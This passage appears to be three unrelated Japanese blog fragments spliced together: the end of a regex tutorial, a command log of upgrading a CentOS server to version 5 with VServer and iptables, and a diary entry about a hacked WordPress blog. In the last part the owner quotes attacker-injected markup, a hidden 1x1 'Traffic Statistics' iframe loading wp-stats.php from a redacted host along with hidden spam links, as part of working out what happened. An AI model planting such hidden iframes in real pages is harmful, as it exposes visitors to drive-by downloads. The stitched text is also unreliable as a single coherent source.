その辺りについては各言語、ツールの説明を参照してください。
本格的に学びたい場合はオライリーの「詳説 正規表現」がおすすめです。
(ただ、この本はプログラミングのことを多少は知らないと難しいかもしれません)
また、PHP正規表現チェッカーですぐに試せるようです。
b:id:K-Onoさんの
について。
実ははてなダイアリーもある(d:id:sleepwlk)んですが、長いこと書いてなかったので、
匿名ダイアリーのほうが多くの人に見てもらえるのではないかと思ってこちらに書いてみました。
*2008-09-23 誤記の修正と、一部加筆しました。
*2008-09-24 ワイルドカードの記述を修正しました。
*2008-09-24 文字クラスの記述の間違いを修正しました。b:id:FunnyBunnyDizzyさんご指摘ありがとうございます。
[admin@sakura2 ~]$ uname -a Linux sakura2 2.6.9-67.0.4.ELsmp #1 SMP Sun Feb 3 07:08:57 EST 2008 i686 athlon i386 GNU/Linux [admin@sakura2 ~]$ cat /etc/issue.net CentOS release 4.6 (Final) Kernel \r on an \m
# yum update # yum remove emacs emacspeak emacs-leim emacs-common # yum remove NetworkManager # yum remove bluez-bluefw bluez-hcidump bluez-libs bluez-utils # yum remove cups cups-libs # yum remove irda-utils isdn4k-utils pcmcia-cs wireless-tools # yum remove wpa_supplicant gpm xinetd # yum remove ppp nfs-utils lksctp-tools autofs # yum remove xorg-x11-libs # yum remove selinux-policy-targeted # yum remove vsftpd # yum clean all
[admin@sakura2 ~]$ uname -a Linux sakura2 2.6.9-67.0.7.ELsmp #1 SMP Sat Mar 15 06:54:55 EDT 2008 i686 athlon i386 GNU/Linux
# rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/centos-release-notes-5.1.0-2.i386.rpm \ http://mirror.centos.org/centos/5/os/i386/CentOS/centos-release-5-1.0.el5.centos.1.i386.rpm [root@sakura2 admin]# cat /etc/issue.net CentOS release 5 (Final) Kernel \r on an \m # yum update glib procps udev iptables # rpm -Uvh --nodeps http://mirror.centos.org/centos/5/os/i386/CentOS/initscripts-8.45.17.EL-1.el5.centos.1.i386.rpm \ http://mirror.centos.org/centos/5/os/i386/CentOS/mkinitrd-5.1.19.6-19.i386.rpm # rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-1.39-10.el5.i386.rpm \ http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-libs-1.39-10.el5.i386.rpm \ http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-devel-1.39-10.el5.i386.rpm
# rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/kernel-2.6.18-53.el5.i686.rpm
[admin@sakura2 ~]$ uname -a Linux sakura2 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST 2007 i686 athlon i386 GNU/Linux # yum clean all [root@sakura2 admin]# yum --version Loading "fastestmirror" plugin 2.4.3 [root@sakura2 admin]# rpm --version RPM version 4.3.3
# yum update Error: Missing Dependency: python-abi = 2.3 is needed by package python-elementtree
# vi /etc/ssh/sshd_config # /etc/init.d/sshd restart
# vi /etc/yum.repos.d/dhozac-vserver.repo
# yum update kernel # yum install util-vserver{,-core,-lib,-sysv,-build}
[admin@sakura2 ~]$ uname -a Linux sakura2 2.6.22.19-vs2.3.0.34.1 #1 SMP Mon Mar 17 05:32:04 EDT 2008 i686 athlon i386 GNU/Linux
# yum update bash screen rsync # /etc/init.d/iptables save # /etc/init.d/iptables start # cat /etc/sysconfig/iptables # Generated by iptables-save v1.3.5 on Mon Mar 24 19:57:07 2008 **filter :INPUT ACCEPT [1067:96557] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [63680:6208436] :e0 - [0:0] -A INPUT -i eth0 -j e0 -A e0 -m state --state RELATED,ESTABLISHED -j ACCEPT -A e0 -p icmp -m icmp --icmp-type 8 -j ACCEPT -A e0 -p tcp -m tcp --dport 22 -j ACCEPT -A e0 -p tcp -m tcp --dport 80 -j ACCEPT -A e0 -p tcp -m tcp --dport 443 -j ACCEPT -A e0 -j REJECT --reject-with icmp-port-unreachable COMMIT # Completed on Mon Mar 24 19:57:07 2008 # Generated by iptables-save v1.3.5 on Mon Mar 24 19:57:07 2008 **nat :PREROUTING ACCEPT [179:10642] :POSTROUTING ACCEPT [213:13895] :OUTPUT ACCEPT [251:16220] -A PREROUTING -s ! 10.0.0.0/255.255.255.0 -p tcp -m tcp --dport NNNN -j DNAT --to-destination 10.0.0.1:22 -A POSTROUTING -s 10.0.0.0/255.255.255.0 -d ! 10.0.0.0/255.255.255.0 -j SNAT --to-source AAA.BBB.CCC.DDD COMMIT # Completed on Mon Mar 24 19:57:07 2008
[root@sakura2 ~]# /usr/sbin/vserver-stat CTX PROC VSZ RSS userTIME sysTIME UPTIME NAME 40013 27 301.5M 73.8M 30m36s31 56m38s90 11d06h56 one 40015 5 10.8M 4.4M 0m28s33 0m12s68 9d04h23 two 40016 2 4.2M 1.3M 0m00s47 0m00s64 0m01s97 three
wordpressを設置して1年。
放置しっぱなしのドメインがあって、そういえば明日で期限が切れるとおもって見に行った。
ウイルスバスターが反応した。
警告
ウイルスが見つかりました
ファイル名 wp-stats[1].htm
JS_PSYME.XP
概 要 対応方法 感染状況
参 照
別 名: Downloader (Symantec), TR/Dldr.HTML.Agent.IS (Avira),
感染報告の有無 : なし
言語: English
危険度: 低
感染報告: 低
ダメージ度: 低
感染力: 低
特 徴: Worm generic description
ざっと管理画面からどこか改変されてないかみてみたが見当たらなかった。
プラグインのせいだろうか?
いやそもそもこのSymantecの文字が気になる。
気になる事があるとすれば、
購読者 - (Subscriber)が7名いること。
ユーザー登録してなんになるんだろう。
runPHP狙いだろうか。Subscriberには権限を与えていないので意味がないはずだとおもう。
コメント投稿狙いだろうか。
Akismetがんばったね!!
ま、明日さくっと消しておこう。。。
わかった。記事の内容が書き換えられていた。
書き換えられていた記事は最後の書き込み。
ニコニコ動画のiframeの本来のタグを無効化して違うところを参照するifreameを書いてござった。
<iframe width="312" height="176" src="http://www.nicovideo.jp/thumb/XXXXXX" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/XXXXXXX">【ニコニコ動画】XXXXXXXX</a></iframe> <iframe width="312" height="176" src="http://www.nicovideo.jp/thumb/XXXXXX" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/XXXXXXX">【ニコニコ動画】XXXXXXXX</a></iframe>
これが
<iframe width="312" height="176" <noscript>XXXX(なんかスペイン語っぽい言葉) <a href="XXXXX">XXXXXXXX</a> XXXXXX</noscript> src="<a href="http://www.nicovideo.jp/thumb/XXXXX">http://www.nicovideo.jp/thumb/XXXXX</a>" scrolling="no" <noscript> XXXXXXXX(上と違う内容) <a href="XXXXXXX">XXXXXXX</a> XXXXXXXX </noscript> style="border:solid 1px #CCC;" frameborder="0"><a href=" <a href="http://www.nicovideo.jp/watch/XXXXXX"> http://www.nicovideo.jp/watch/XXXXXX</a> ">【ニコニコ動画】XXXXXX(1/2)</a></iframe> <p><iframe width="312" height="176" src=" <a href="http://www.nicovideo.jp/thumb/XXXX">http://www.nicovideo.jp/thumb/XXXXXX</a> "<!-- Traffic Statistics --> <iframe src=XXXXXXXX/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="<a href="http://www.nicovideo.jp/watch/XXXX">http://www.nicovideo.jp/watch/XXXX</a> ">【ニコニコ動画】XXXXXXXX(2/2)</a></iframe>
なにがしたいのかわからないが、
なんかもしかしたら3回ぐらい同じ系統で書き換えられてるのかもしれない。
やりかたはさっぱり想像できない。
でも、ここまで記事の内容が差し替えられるのだとしたら、管理者アカウントをのっとっちゃうのが一番てっとりばやいかな。
で、新しく記事が投稿されたのか監視するために購読者登録っと。
そんなところじゃないだろうか。。。